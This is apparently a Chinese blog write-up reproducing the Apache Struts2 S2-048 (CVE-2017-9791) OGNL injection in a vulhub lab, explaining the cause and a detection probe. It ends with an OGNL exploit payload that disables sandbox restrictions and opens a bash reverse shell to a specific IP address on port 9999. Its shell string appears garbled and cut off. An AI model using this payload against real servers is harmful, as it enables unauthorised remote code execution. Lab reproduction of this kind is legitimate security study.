vulhub复现之struts漏洞复现

目录

什么是struts？

漏洞背景和原因

OGNL表达式​编辑

怎么判断是否存在漏洞？

​编辑

反弹shell

---

什么是struts？

Struts2就是一个框架，它是属于web层的一个框架，是Struts1的一个升级版，但是它和Struts1来相比，提供了太多的增强和改进，怎么运行的呢，就是实现了Servlet的功能，来进行控制页面跳转。 同时这也是基于MVC设计模式的Web应用框架，Struts2的控制功能就相当于MVC中的Controller的功能，用来控制页面的转向。​

漏洞背景和原因

2017年7月7日，ApacheStruts 发布最新的安全公告，Apache Struts2的strus1插件存在远程代码执行的高危漏洞，漏洞编号为 CVE-2017-9791（S2-048）。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件，远程执行代码。

​Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时，由于后续数据拼接传递后处理不当导致任意代码执行。

这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数，这个函数刚好又能执行OGNL表达式，同事这个 getText() 的 参数输入点，又可以被用户直接进行控制，用户可控的值添加到 ActionMessage 并在客户前端展示，导致其进入 getText 函数，最后 message 被当作 ognl 表达式执行。如果这个点被恶意攻击者所控制，就可以构造恶意执行代码，从而实现一个RCE攻击。

OGNL表达式

怎么判断是否存在漏洞？

环境启动后访问如下，就可以查看到struts2的测试页面​

触发ognl表达式的位置是gangster name这个表单​ 

输入${233*233}即可查看执行结果。有结果则存在漏洞​ 

反弹shell

提前开启监听9999端口​

poc：

%{(dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('/bin/bash -c bashIFS9-i>&/dev/tcp/101.35.15.184/9999<&1').

​

​

​

​

​